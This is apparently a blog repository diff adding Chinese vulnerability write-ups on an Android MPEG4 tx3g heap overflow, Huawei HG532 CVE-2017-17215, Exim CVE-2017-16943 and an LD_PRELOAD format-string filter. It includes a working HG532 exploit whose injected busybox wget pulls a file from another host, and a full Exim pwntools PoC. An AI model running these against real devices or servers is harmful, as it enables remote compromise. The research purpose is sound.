之间是没有 **元数据** 的 (具体可以去网上搜 `jemalloc` 的分析的文章),所以 在 `ctf` 中常见的通过修改 **堆块元数据** 的漏洞利用方法在这里是没法用了。 + +不过所有事情都有两面性。`region` 间是直接相邻的,那我就可以很方便的修改相邻内存块的数据。 如果我们在 `tx3g` 对应内存块的后面放置一个含有关键数据结构的内存块,比如一个对象,在 `含有虚函数` 的类的 `对象` 的 `开始4字节(32位下)`,会存放一个 `虚表指针` . + +在 `对象 ` 调用 `虚函数` 时会从 `虚表指针` 指向的位置的 `某个偏移(不同函数,偏移不同)` 处取到相应的函数指针,然后跳过去执行。 + +如果我们修改对象的虚表指针,我们就有可能在程序调用虚函数时,控制程序的流程。 + + +**一些重要的 chunk_type(box type)** + +**tx3g box** + +上一节提到,我们可以修改对象的虚表指针,以求能够控制程序的跳转。那我们就需要找到一个能够在解析 `box` 数据能时分配的对象。 + +`MPEG4DataSource` 就是这样一个类。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511319727633yo0eb9f8.png?imageslim) + +可以看到该对象继承自 `DataSource`, 同时还有几个虚函数。 + +我们可以在ida中看看虚表的构成。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511319976562k70bssgz.png?imageslim) + +可以看到 `readAt` 方法在虚表的第7项,也就是虚表偏移 `0x1c` 处。同时`MPEG4DataSource`在我这的大小为 `0x20` .再看一下漏洞位置的代码。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511313757977irc4emw4.png?imageslim) +可以看到如果当前解析的 `tx3g` box 不是第一个`tx3g` box(即size>0),会先调用 `memcpy` , 把之前所有 `tx3g` box中的数据拷贝到刚刚分配的内存。 + +如果我们先构造一个 `tx3g` ,其中包含的数据大于 `0x20`, 然后在构造一个 `tx3g` 构造大小使得 `size+chunk_size = 0x20`, 然后通过 `memcpy` 就可以覆盖 `MPEG4DataSource` 的虚表了。`exploit` 中就是这样干的。 + + +**pssh box** + +看看代码 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511321133430whaf4w9j.png?imageslim) +划线位置说明了 `pssh` 的结构。 + +``` + pssh 的结构 + 开始8字节 表示 该 box 的性质 + + 00 00 00 40 70 73 73 68 + size: 0x40, + type: pssh : + + 0xc 开始 16字节 为 pssh.uuid + + 0x1c开始4字节为 pssh.datalen + + 0x20 开始为 pssh.data + 可以查看 代码,搜索关键字: FOURCC('p', 's', 's', 'h') +``` + +这里先分配 `pssh.datalen` 大小的内存,然后把 `pssh.data` 拷贝到刚刚分配的内存。完了之后会把 分配到的 `PsshInfo` 结构体增加到 类属性值 `Vector mPssh` 中, ` mPssh` 在 `MPEG4Extractor::~MPEG4Extractor() `中才会被释放。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511321832880rsre9xy0.png?imageslim) + +所以在解析完 `MPEG4`格式前,通过 `pssh` 分配的内存会一直在内存中。 + + +**avcC box 和 hvcC box** +这两个 `box` 的处理基本一致,以 `avcC` 为例进行介绍。解析代码如下 + +``` + case FOURCC('a', 'v', 'c', 'C'): + { + // 这是一块临时分配, buffer 为智能指针,在 函数返回时相应内存会被释放。 + sp buffer = new ABuffer(chunk_data_size); + if (mDataSource->readAt( + data_offset, buffer->data(), chunk_data_size) < chunk_data_size) { + return ERROR_IO; + } + // 在这里,会释放掉原来那个,新分配内存来容纳新的数据。 + // 因此我们有了一个 分配,释放 内存能力 + // setData 中会释放掉原来的buf, 新分配一个 chunk_data_size + + mLastTrack->meta->setData( + kKeyAVCC, kTypeAVCC, buffer->data(), chunk_data_size); + + *offset += chunk_size; + break; + } +``` +首先根据 `chunk_data_size` 分配 `ABuffer` 到 `buffer`,`chunk_data_size` 在 `box` 的 `size` 域指定,注意`buffer`是一个智能指针,在这里,它会在函数返回时释放。 + +`ABuffer` 中是直接调用的 `malloc` 分配的内存。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511322333438n9iujtsk.png?imageslim) +接下来读取数据到 `buffer->data()`, 最后调用 `mLastTrack->meta->setData` 保存数据到 `meta`, 在 `setData` 内部会先释放掉之前的内存,然后分配的内存,存放该数据,此时分配内存的大小还是`chunk_data_size`, 我们可控。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511322457145o2ojlgaf.png?imageslim) + +`hvcC` 的处理方式基本一样。所以通过这两个 `box` 我们可以 **分配指定大小的内存,并且可以随时释放前面分配的那个内存块** 。我们需要使用这个来布局`tx3g`内存块 和 `MPEG4DataSource `内存块。 + + +**修改对象虚表指针** + +下面结合`exploit` 和上一节的那几个关键 `box` ,分析通过布局内存,使得我们可以修改 `MPEG4DataSource ` 的虚表指针。 +为了便于说明,取了 `exploit` 中的用于 `修改对象虚表指针`的相关代码进行解析 ( 我调试过程做了部分修改 ) +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15113295608707xyip57h.png?imageslim) + +首先看到第`7,8`行,构造了第一个 `tx3g box`, 大小为 `0x3a8`, 后面在触发漏洞时,会先把这部分数据拷贝到分配到的小内存`buffer`中,然后会溢出到下一个 `region` 的 `MPEG4DataSource `内存块。使用 `cyclic` 可以在程序 `crash` 时,计算 `buffer` 和 `MPEG4DataSource ` 之间的距离。 + +第 `13` 行,调用了 `memory_leak` 函数, 该函数通过使用 `pssh` 来分配任意大小的内存,在这里分配的是 `alloc_size` ,即 `0x20`. 因为`MPEG4DataSource ` 的大小为 `0x20` ,就保证内存的分配会在同一个 `run` 中分配。这些这样这里分配了 `4` 个 `0x20` 的内存块,我认为是用来清理之前可能使用内存时,产生的内存碎片,确保后面内存分配按照我们的顺序进行分配。此时内存关系 + +``` +| pssh | - | pssh | +``` + + +第 `17` 到 `25` 行,清理内存后,开始分配 `avcC` 和 `hvcC`, 大小也是 `0x20`, 然后在第 `25` 行又进行了内存碎片清理,原因在于我们在分配 `avcC` 和 `hvcC`时,会使用到 `new ABuffer(chunk_data_size)`,这个临时的缓冲区,这个会在函数返回时被释放(请看智能指针相关知识) + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511330396572jzet4fq5.png?imageslim) +同时多分配了几个 `pssh` 确保可以把 `avcC` 和 `hvcC`包围在中间。所以现在的内存关系是 + +``` +| pssh | - | pssh | pssh | avcC | hvcC | pssh | +``` + +然后是 第 `29` 行, 再次分配 `hvcC` ,不过这次的大小 为 `alloc_size * 2`, 触发 `hvcC` 的释放,而且确保不会占用 刚刚释放的 内存.(jemalloc中 相同大小的内存在同一个run中分配) +``` +| pssh | - | pssh | pssh | avcC | .... | pssh | + +``` + + +接下来构造 `stbl` 用 `MPEG4DataSource ` 占据刚刚空出来的 内存。 +``` +| pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh | +``` +接下来, 第 `38` 行用同样的手法分配释放 `avcC` +``` +| pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh | + +``` + +然后使用整数溢出,计算得到第二个 `tx3g` 的长度值,使得最后分配到的内存大小为`0x20`, 用来占据刚刚空闲的 `avcC` 的 内存块,于是现在的内存布局,就会变成这样。 + +``` +| pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh | +``` +然后在 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511331158750fgbh83d2.png?imageslim) +就会溢出修改了 `MPEG4DataSource ` 的虚表指针。然后在下面的 `readAt` 函数调用出会 `crash`. + +我测试时得好几次才能成功一次,估计和内存碎片相关。 +``` +Thread 10 received signal SIGSEGV, Segmentation fault. +0xb66b57cc in android::MPEG4Extractor::parseChunk (this=this@entry=0xb74e2138, offset=offset@entry=0xb550ca98, depth=depth@entry=0x2) at frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1905 +1905 if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size)) +───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── +$r0 : 0xb74e27b8 → 0x61616169 ("iaaa"?) +$r1 : 0xb74e2bb8 → 0x00000000 +$r2 : 0x61616169 ("iaaa"?) +$r3 : 0x00000000 +$r4 : 0xb550c590 → 0x00000428 +$r5 : 0xfffffbf8 +$r6 : 0xb550c580 → 0xb74e5c98 → 0x28040000 +$r7 : 0xb550c570 → 0xfffffbf8 +$r8 : 0xb74e2138 → 0xb6749f18 → 0xb66b2841 → ldr r3, [pc, #188] ; (0xb66b2900 ) +$r9 : 0x74783367 ("g3xt"?) +$r10 : 0xb550ca98 → 0x01000a98 +$r11 : 0xb74e2790 → 0x28040000 +$r12 : 0x00000000 +$sp : 0xb550c530 → 0xb74e2bb8 → 0x00000000 +$lr : 0xb66b57bd → ldr r1, [r4, #0] +$pc : 0xb66b57cc → ldr r6, [r2, #28] +$cpsr : [THUMB fast interrupt overflow carry ZERO negative] +──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── +$r0 : 0x00000000 +$r1 : 0xb74e2bb8 → 0x00000000 +$r2 : 0x61616169 ("iaaa"?) +$r3 : 0x00000000 +$r4 : 0xb550c590 → 0x00000428 +$r5 : 0xfffffbf8 +$r6 : 0xb550c580 → 0xb74e5c98 → 0x28040000 +$r7 : 0xb550c570 → 0xfffffbf8 +$r8 : 0xb74e2138 → 0xb6749f18 → 0xb66b2841 → ldr r3, [pc, #188] ; (0xb66b2900 ) +$r9 : 0x74783367 ("g3xt"?) +$r10 : 0xb550ca98 → 0x01000a98 +$r11 : 0xb74e2790 → 0x28040000 +$r12 : 0x00000000 +$sp : 0xb550c530 → 0xb74e2bb8 → 0x00000000 +$lr : 0xb66b57bd → ldr r1, [r4, #0] +$pc : 0xb66b57cc → ldr r6, [r2, #28] +$cpsr : [THUMB fast interrupt overflow carry ZERO negative] +``` +可以看到断在了` ldr r6, [r2, #28]`,去 `ida` 里面找到对应的位置。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15113320522611r713790.png?imageslim) +`r2`存放的就是虚表指针,可以确定成功修改了 虚函数表指针。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511332282692sjn299pl.png?imageslim) + +偏移也符合预期。 + +**堆喷射** + +上面我们已经成功修改了`MPEG4DataSource ` 的虚表指针,并在虚函数调用时触发了 `crash` . + +我们现在能够修改对象的 虚表指针,并且能够触发虚函数调用。我们需要在一个可预测的内存地址精准的布置我们的数据,然后把虚表指针修改到这里,在 `exploit` 中使用了 +``` +spray_size = 0x100000 +spray_count = 0x10 + +sample_table(heap_spray(spray_size) * spray_count) +``` + +来进行堆喷射 + +`heap_spray` 函数 就是使用 `pssh` 来喷射的内存。每次分配 `0x100` 页,共分配了 `0x10` 次。 `exploit` 作者在 博客中写道,这样就可以在可预测的内存地址中定位到特定数据。在这里就是 用于 `stack_pivot` 的 `gadget`. + +对于这一点,我很疑惑,**有大佬可以告诉我为什么可以这样吗? 或者有没有相关的 `paper` 来介绍为什么可以在 可预测的地址 精确的布置我们的数据** + +### 最后 +这个 `exploit` 写的确实强悍,提示我在进行漏洞利用时,要关注各种可能分配内存的地方,灵活的使用代码中的内存分配,来布局内存。 同时研究一个漏洞要把相关知识给补齐。对于这个漏洞就是 `MPEG4` 的文件格式和 相关的处理代码了。 + +一些tips: + +- 使用 `gef` + `gdb-multiarch` 来调试 , `pwndbg` 我用着非常卡, `gef` 就不会 +- 调试过程尽量使用脚本减少重复工作量。 + +使用的一些脚本。 + +使用 `gdbserver attach mediaserver` 并转发端口的脚本 + +``` +adb root +adb forward tcp:1234 tcp:1234 +a=`adb shell "ps | grep mediaserver" | awk '{printf $2}'` +echo $a +adb shell "gdbserver --attach :1234 $a" + +``` + +`gdb` 的调试脚本 + +``` +set arch armv5 +gef-remote 127.0.0.1:1234 +set solib-search-path debug_so/ +directory android-5.1.0_r3/ +gef config context.layout "regs -source" +set logging file log.txt +set logging on +break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1897 +break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1630 +break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1647 +break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:884 +commands 1 +p chunk_size +p buffer +c +end + +commands 2 +p buffer + +end + +commands 3 +p buffer +c +end + +commands 4 +hexdump dword mDataSource 0x4 +c +end + + +``` + +参考: + +https://census-labs.com/media/shadow-infiltrate-2017.pdf + +https://googleprojectzero.blogspot.hk/ + +http://blog.csdn.net/zhuweigangzwg/article/details/17222951 \ No newline at end of file diff --git a/source/_posts/cve_2017_17215_hg532.md b/source/_posts/cve_2017_17215_hg532.md new file mode 100644 index 00000000..ada2fd9c --- /dev/null +++ b/source/_posts/cve_2017_17215_hg532.md @@ -0,0 +1,129 @@ +--- +title: CVE-2017-17215 - 华为HG532命令注入漏洞分析 +authorId: hac425 +tags: + - pwn + - CVE-2017-17215 + - '' +categories: + - 路由器安全 +date: 2017-12-28 20:09:00 +--- +### 前言 + +前面几天国外有个公司发布了该漏洞的详情。入手的二手 `hg532` 到货了,分析测试一下。 + +固件地址:https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar + +### 正文 +漏洞位于 `upnp` 服务处理 升级的流程中,用于设备升级的 `upnp` 服务 `xml` 配置文件为 `etc/upnp/DevUpg.xml`. + +``` + + + +1 +0 + + + +Upgrade + + +NewDownloadURL +in +DownloadURL + + +NewStatusURL +in +StatusURL + + + + +GetSoftwareVersion + + +NewSoftwareVersion +out +SoftwareVersion + + + + + + +DownloadURL +string + + +StatusURL +string + + +SoftwareVersion +string + + + + + +``` +其中在获取 `NewDownloadURL` 和 `StatusURL` 后拼接命令,调用了 `system` 执行了。 + +`ida` 搜关键字 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1514463385981gpkpn9k5.png?imageslim) + + +交叉引用找到使用位置。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1514463431730l5deva3o.png?imageslim) + +调用 `xml` 相关函数,获取值,拼接后,进入 `system` + +他还有 认证 机制,需要 `Authorization` 头 才能过掉 `check`, 否则会 `401` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15144675714407pfmdkor.png?imageslim) + + +**exp** + +``` +import requests + +headers = { + "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669" +} + +data = ''' + + + ;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1; + HUAWEIUPNP + + + +''' +requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data) +``` + + + + + + +### 最后 + +找对固件很重要, 立个 `flag` ,两个月内不用 `f5`. 一个好的蜜罐就是`cve` 接收器呀~~~~~~~ + + + +**参考** + + +https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant + + +https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant \ No newline at end of file diff --git a/source/_posts/defense_pwn_with_ld_preload.md b/source/_posts/defense_pwn_with_ld_preload.md new file mode 100644 index 00000000..74b0e30f --- /dev/null +++ b/source/_posts/defense_pwn_with_ld_preload.md @@ -0,0 +1,202 @@ +--- +title: 使用LD_PRELOAD防御pwn +authorId: hac425 +tags: + - awd + - pwn_defense +categories: + - ctf +date: 2017-12-23 11:31:00 +--- +### 前言 + +本文介绍使用 `LD_PRELOAD` 防御 线下赛中常见的漏洞。 + + +github上的相关项目: + +`hook` 了常用的函数 + +https://github.com/poliva/ldpreloadhook + + + +### 正文 + +由于可能会不允许加载 `脚本` ,所以用 `c` 来加载(可能需要加一些没有的东西凑大小) + + +``` +#include +#include + +int main(int arg,char **args) +{ + + char *argv[]={"test",NULL};//传递给执行文件的参数数组,这里包含执行文件的参数 + + char *envp[]={"LD_PRELOAD=./libmy_printf.so",NULL};//传递给执行文件新的环境变量数组 + + execve("./test",argv,envp); + +} +``` +执行当前目录的 `test` 文件,同时设置 `LD_PRELOAD=./libmy_printf.so`, 运行时加载 `libmy_printf.so` + +. + + + + +**堆相关漏洞** + +使用 https://github.com/DhavalKapil/libdheap +``` +#include +#include + +int main(int arg,char **args) +{ + + char *argv[]={"test",NULL};//传递给执行文件的参数数组,这里包含执行文件的参数 + + char *envp[]={"LD_PRELOAD=./libdheap.so", "LIBDHEAP_EXIT_ON_ERROR=1",NULL};//传递给执行文件新的环境变量数组 + execve("./test",argv,envp); + +} +``` + +`LIBDHEAP_EXIT_ON_ERROR=1` 检测到异常后就会退出。 + + + + +**格式化字符串** + + +hook `printf` 和 `snprintf`过滤关键字 + +``` +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +// gcc -shared -fPIC my_printf.c -o libmy_printf.so -ldl + +#include +#include +#include +#include + + +int fd = 0; + +void log (char * buf) { + + if(!fd){ + fd = open("log.txt", O_WRONLY|O_CREAT|O_APPEND); + } + write(fd, buf, strlen(buf)); + write(fd, '\n', 1); + sync(); + +} + + +void str_remove(char *src, char *target){ + + char *p; + char c[81]; + char *dst[254]={0}; + while((p = strstr(src,target)) != NULL) { //strstr 找不到返回 NULL + *p = '\0'; // 指定连接下一步(连接函数)之前 a 的终止位置; + strcpy (c, p+strlen(target)); // strcat 函数中的两个传入参数的内存地址不能重叠,所以这里用 c 当作 temp + strcat (src, c); + } + + +} + + + + +int printf(const char *format, ...) +{ + va_list list; + char *parg; + typeof(printf) *old_printf; + + char *tmp = malloc(strlen(format) + 1); + strcpy(tmp, format); + + + + /* + + remove some bad string + + */ + str_remove(tmp, "$p"); + str_remove(tmp, "$x"); + str_remove(tmp, "hn"); + str_remove(tmp, "ln"); + str_remove(tmp, "$n"); + log(tmp); + + // format variable arguments + va_start(list, tmp); + vasprintf(&parg, tmp, list); + va_end(list); + + // get a pointer to the function "printf" + old_printf = dlsym(RTLD_NEXT, "printf"); + (*old_printf)("%s", parg); // and we call the function with previous arguments + + free(parg); + free(tmp); +} + + +int snprintf(char *str, size_t size, const char *format, ...){ + va_list list; + char *parg; + typeof(snprintf) *old_snprintf; + + char *tmp = malloc(strlen(format) + 1); + strcpy(tmp, format); + + /* + + remove some bad string + + */ + str_remove(tmp, "$p"); + str_remove(tmp, "$x"); + str_remove(tmp, "hn"); + str_remove(tmp, "ln"); + str_remove(tmp, "$n"); + log(tmp); + + // format variable arguments + va_start(list, tmp); + vasprintf(&parg, tmp, list); + va_end(list); + + // get a pointer to the function "printf" + old_snprintf = dlsym(RTLD_NEXT, "snprintf"); + (*old_snprintf)(str, size, "%s", parg); // and we call the function with previous arguments + + free(parg); + free(tmp); + +} +``` + +使用 +``` +gcc -shared -fPIC my_printf.c -o libmy_printf.so -ldl +``` +编译之(`32` 位 加 `-m 32`) \ No newline at end of file diff --git a/source/_posts/exim_CVE_2017_16943_uaf_pwn.md b/source/_posts/exim_CVE_2017_16943_uaf_pwn.md new file mode 100644 index 00000000..52437d8e --- /dev/null +++ b/source/_posts/exim_CVE_2017_16943_uaf_pwn.md @@ -0,0 +1,335 @@ +--- +title: exim CVE-2017-16943 uaf漏洞分析 +authorId: hac425 +tags: + - CVE-2017-16943 + - exim_uaf +categories: + - Vulnerability analysis +date: 2017-12-14 21:01:00 +--- +### 前言 + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +这是最近爆出来的 `exim` 的一个 `uaf` 漏洞,可以进行远程代码执行。本文对该漏洞和作者给出的 `poc` 进行分析。 + +### 正文 + +**环境搭建** + +``` +# 从github上拉取源码 +$ git clone https://github.com/Exim/exim.git +# 在4e6ae62分支修补了UAF漏洞,所以把分支切换到之前的178ecb: +$ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b +# 安装相关依赖 +$ apt install libdb-dev libpcre3-dev +# 获取meh提供的Makefile文件,放到Local目录下,如果没有则创建该目录 +$ cd src +$ mkdir Local +$ cd Local +$ wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile +$ cd .. +# 修改Makefile文件的第134行,把用户修改为当前服务器上存在的用户,然后编译安装 +$ make && make install +``` + +注: + +*如果要编译成 `debug` 模式,在 `Makefile` 找个位置 加上 `-g` 。(比如 `CFLAGS `, 或者 `gcc` 路径处)* + +安装完后 ,修改 `/etc/exim/configure` 文件的第 `364` 行,把 `accept hosts = :` 修改成 `accept hosts = *` + +然后使用 ` /usr/exim/bin/exim -bdf -d+all` 运行即可。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513257523377oq8q35os.png?imageslim) + +**漏洞分析** + +首先谈谈 `exim` 自己实现的 `堆管理` 机制.相关代码位于 `store.c`. +其中重要函数的作用 + +- `store_get_3` : 分配内存 +- `store_extend_3`: 扩展堆内存 +- `store_release_3`: 释放堆内存 + +`exim` 使用 `block pool` 来管理内存。其中共有 3 个 `pool`,以枚举变量定义. +``` +enum { POOL_MAIN, POOL_PERM, POOL_SEARCH }; +``` +程序则通过 `store_pool` 来决定使用哪个 `pool` 来分配内存。不同的 `pool` 相互独立。 + +有一些全局变量要注意。 + +``` +//管理每个 block 链表的首节点 +static storeblock *chainbase[3] = { NULL, NULL, NULL }; + +// 每一项是所属 pool中,目前提供的内存分配的 current_block 的指针 +// 即内存管理是针对 current_block 的。 +static storeblock *current_block[3] = { NULL, NULL, NULL }; + +// current_block 空闲内存的起始地址。每一项代表每一个 +// pool 中的 current_block 的相应值 +static void *next_yield[3] = { NULL, NULL, NULL }; + +// current_block 中空闲内存的大小, 每一项代表每一个 +// pool 中的 current_block 的相应值 +static int yield_length[3] = { -1, -1, -1 }; + +// 上一次分配获得的 内存地址 +//每一项代表每一个pool 中的 current_block 的相应值 +void *store_last_get[3] = { NULL, NULL, NULL }; +``` + + +`block` 的结构 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15132607491657xt9urak.png?imageslim) + +每一个 `pool` 中的 `block`通过 `next` 指针链接起来 + +大概的结构图如下 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513262786424ik0joztb.png?imageslim) + +`block` 的 `next` 和 `length` 域以下(偏移 `0x10`(64位)),用于内存分配(`0x2000` 字节)。 + + + + +先来看看 `store_get_3`,该函数用于内存请求。 +首次使用会先调用 `store_malloc` 使用 系统的 `malloc` 分配 `0x2000` 大小内存块,这也是 `block` 的默认大小,并将这个内存块作为 `current_block` 。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15132593592238uznra2a.png?imageslim) + +如果 `block` 中的剩余大小足够的话,通过调整 `next_yield`, `yield_length`, `store_last_get`直接切割内存块,然后返回 `store_last_get` 即可。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513259525324mnzqf4wm.png?imageslim) + +如果 `block` 中的内存不够,就用 `store_malloc` 另外分配一块,并将这个内存块作为 `current_block`,然后再进行切割。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513259887575q7snuezu.png?imageslim) + + + + +然后是 `store_extend_3` 函数 +首先会进行校验,要求 `store_last_get` 和 `next_yield` 要连续,也就是待合并的块与 `next_yield` 要紧挨着,类似于 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513260406403tt6u0txr.png?imageslim) + +而且剩余内存大小也要能满足需要 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513260445596wawuzkgx.png?imageslim) + +如果条件满足直接修改全局变量,切割内存块即可. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513260486599jom5fys3.png?imageslim) + + + +`store_release_3` 函数 +找到目标地址所在 `block` ,然后调用 `free` 释放掉即可 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15132605729110y3w7k0o.png?imageslim) + + + +下面正式进入漏洞分析 +漏洞位于 `receive.c` 的 `receive_msg` 函数。 + +漏洞代码 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513260852552v7wf4k6r.png?imageslim) + +这个函数用于处理客户端提交的 `exim` 命令, `ptr` 表示当前以及接收的命令的字符数, `header_size` 为一个 阈值,初始为 `0x100` , 当 `ptr` > `header_size-4` 时, `header_size`翻倍,然后扩展内存,以存储更多的字符串。 + +如果 `next->text` 与 `next_yield` 之间有另外的内存分配,或者 `next->text` 所在块没有足够的空间用来扩展,就会使用 `store_get` 获取内存,如果空间不够,就会调用 `malloc` 分配内存,然后复制内容到新分配的内存区域,最后释放掉原来的内存区域。 + +一切都看起来很平常,下面看看漏洞的原理。 + +`store_get` 分配到的是 `block`中的一小块内存(`store`), 然而 `store_release_3` 则会释放掉 一整个 `block` 的内存。 +如果我们在进入该流程时,把 `block` 布局成类似这样. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15132995469411a9h83rg.png?imageslim) + +因为 `next->text` 和 空闲块之间 有内存的分配,所以 `store_extend_3` 就会失败,进入 `store_get` 分配内存. + +如果 `free memory` 区域内存能够满足需要, 那么就会从 `free memory` 区域 切割内存返回,然后会拷贝内容,最后 `store_release(next->text)`, 此时会把 整个 `block` 释放掉,这样一来 `next->text` ,`current_block` 都指向了一块已经释放掉的内存,如果以后有使用到这块内存的话, 就是 `UAF` 了。 + + +大概流程如下 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513299429816blx4y8vg.png?imageslim) +接下来,分析一下 `poc`. + +``` +# CVE-2017-16943 PoC by meh at DEVCORE +# pip install pwntools +from pwn import * + +context.log_level = 'debug' + +r = remote('localhost', 25) + +r.recvline() +r.sendline("EHLO test") +r.recvuntil("250 HELP") +r.sendline("MAIL FROM:<>") +r.recvline() +r.sendline("RCPT TO:") +r.recvline() + + +pause() + +r.sendline('a'*0x1280+'\x7f') + +log.info("new heap on top chunk....") +pause() + + +r.recvuntil('command') +r.sendline('DATA') +r.recvuntil('itself\r\n') +r.sendline('b'*0x4000+':\r\n') +log.info("use DATA to create unsorted bin, next want to let next->txt ----> block_base") +pause() + + +r.sendline('.\r\n') +r.sendline('.\r\n') +r.recvline() +r.sendline("MAIL FROM:<>") +r.recvline() +r.sendline("RCPT TO:") +r.recvline() +r.sendline('a'*0x3480+'\x7f') + +log.info("new heap on top chunk.... again") +pause() + + +r.recvuntil('command') +r.sendline('BDAT 1') +r.sendline(':BDAT \x7f') + +log.info("make hole") +pause() + + +s = 'a'*0x1c1e + p64(0x41414141)*(0x1e00/8) + +r.send(s+ ':\r\n') +r.send('\n') +r.interactive() + +``` +漏洞利用的原理在于,`block` 结构体的 `next` 和 `length`域恰好位于 `malloc chunk` 的 `fd` 和 `bk` 指针区域,如果我们能在触发漏洞时把 这个 `chunk` 放到 `unsorted bin` 中,`block` 结构体的 `next` 和 `length`就会变成 `main_arena` 中的地址,然后再次触发 `store_get` ,就会从 `main_arena` 中切割内存块返回给我们,我们就能修改 `main_arena` 中的数据了。可以改掉 `__free_hook` 来控制 `eip`. + +继续往下之前,还有一个点需要说一下。 + +当 `exim` 获得客户端连接后,首先调用 `smtp_setup_msg` 获取命令,如果获取到的是 **无法识别** 的命令,就会调用 `string_printing` 函数。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513301558543vaj00d9h.png?imageslim) + +这个函数内部会调用 `store_get` 保存字符串. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15133016051358khgbdml.png?imageslim) +所以我们可以通过这个 `tips` 控制一定的内存分配。 + +下面通过调试,看看 `poc` 的流程。 + +首先通过发送 无法识别的命令,分配一块大内存,与 `top chunk` 相邻 +``` +r.sendline('a'*0x1280+'\x7f') +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15133020345637juhli14.png?imageslim) +可以看到此时 `current_block` 中剩下的长度为 `0x11b0`,而请求的长度 `0x1285` , 所以会通过 `malloc` 从系统分配内存,然后在切割返回。执行完后看看堆的状态 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513302261849xvq2lji2.png?imageslim) + +可以看到,现在的 `current_block` 的指针就是上一步的 `top chunk` 的地址,而且现在 `current_block` 和 `top chunk` 是相邻的。通过计算可以知道共分配了 `0x1288` 字节(内存对齐) + +然后通过 +``` +r.sendline('b'*0x4000+':\r\n') +``` +构造非常大的 `unsorted bin`, 原因在于,他这个是先 `分配` 再 `free` 的,由于 `0x4000` 远大于 `header_size` 的初始值(0x100), 这样就会触发多次的 `store_get`, 而且 `0x4000` 也大于 `block` 的默认大小(0x2000), 所以也会触发多次的 `malloc` , 在 `malloc` 以后,会调用 `store_release` 释放掉之前的块,然后由于这个释放的块和 `top chunk` 之间有正在使用的块(刚刚调用`store_get`分配的),所以不会与`top chunk` 合并,而会把 它放到 `unsorted bin` 中 ,这样多次以后就会构造一个比较大的 `unsorted bin`. +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513302702234g88jsg0k.png?imageslim) + +第一次调用 `store_get`,进行扩展,可以看到 请求 `0x1000`, 但是剩余的只有 `0x548`, 所以会调用 `malloc` 分配。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513303590249170ixrvk.png?imageslim) +单步步过,查看堆的状态,发现和预期一致 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513303724246jvwjulr8.png?imageslim) + + +`store_release(next->text)` 之后就有 `unsorted bin`.![paste image](http://oy9h5q2k4.bkt.clouddn.com/151330416633134eomvaf.png?imageslim) +多次以后,就会有一个非常大的 `unsorted bin` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513304236832mizmzou3.png?imageslim) +接下来使用 + +``` +r.sendline('a'*0x3480+'\x7f') +``` + +再次分配一块大内存内存,使得 `yield_length < 0x100`, 分配完后 `yield_length ` 变成了 `0xa0`。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15133050992775d244gih.png?imageslim) + +下面使用 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513305227882r3xou0k6.png?imageslim) + +然后会进入 `receive_msg` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513305343174he2e9xy6.png?imageslim) + 